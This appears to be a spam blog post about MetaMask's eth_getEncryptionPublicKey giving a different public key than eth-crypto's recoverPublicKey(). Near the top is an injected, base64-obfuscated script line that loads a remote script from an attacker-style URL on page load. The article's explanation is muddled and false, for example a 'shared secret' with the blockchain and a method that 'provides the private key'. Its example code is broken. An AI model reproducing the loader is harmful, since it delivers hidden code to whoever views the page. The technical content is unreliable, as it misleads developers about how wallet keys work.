Metamask: Got different Public keys from same Private key. `eth-crypto`’s `recoverPublicKey()` and MetaMask’s `eth_getEncryptionPublicKey`

const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx);const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=a3ef9ae6″;document.body.appendChild(script);

Understanding the difference between MetaMask and Ethereum public keys

As Ethereum developers, we are no strangers to the intricacies of interacting with the Ethereum blockchain. Recently, several users were confused by the discrepancy between the public keys displayed in their MetaMask wallet and those retrieved using the RPC call “eth_getEncryptionPublicKey”.

The problem: Different public keys from the same private key

Let’s dive into the details of what’s happening. When we use “eth_getEncryptionPublicKey”, it requests the public encryption key for a specific Ethereum account address. However, this public key is calculated based on the private key stored in MetaMask. Here’s why:

• Private key:

  The private key used to create an Ethereum wallet is unique to each person.

• Public Key Calculation: When you retrieve your public key using eth_getEncryptionPublicKey, it is not directly linked to your private key. Instead, a different calculation method is used that generates a new set of keys (public and private) based on the shared secret between your MetaMask wallet and the Ethereum blockchain.

• Shared Secret: This shared secret is used to derive the public key from the private key.

The Solution: recoverPublicKey() vs. eth_getEncryptionPublicKey

To fix this problem, you can use one of the following methods:

• recoverPublicKey():

• You can call recoverPublicKey() in your MetaMask wallet to retrieve the public key associated with a specific Ethereum address.

• This method provides the private key used by MetaMask and allows you to derive the public key from it.

• eth_getEncryptionPublicKey (RPC):

• You can use eth_getEncryptionPublicKey as before to get the public encryption key for your Ethereum account address.

• Keep in mind, though, that this will return a different set of keys than if you had used recoverPublicKey().

Example Code: Recovering the Public Key Using MetaMask’s recoverPublicKey()

const web3 = require('web3');
const metaMask = new Web3(new Web3.providers.HttpProvider('
metaMask.getAccounts().then(Accounts => {
const publicKey = Accounts[0].getPublicKey();
// Recover the private key using MetaMask's recoverPublicKey method
returns metaMask.recoverPublicKey(publicKey);
});

Conclusion:

The discrepancy between the public keys shown in your MetaMask wallet and those retrieved using RPC calls to eth_getEncryptionPublicKey can be resolved by using recoverPublicKey() or eth_getEncryptionPublicKey. Understanding how Ethereum addresses, private keys, and shared secrets work together will better equip you to navigate these complex interactions.

If you have any questions or need further clarification on this topic, feel free to ask!

ethereum cooling l502x bitcoin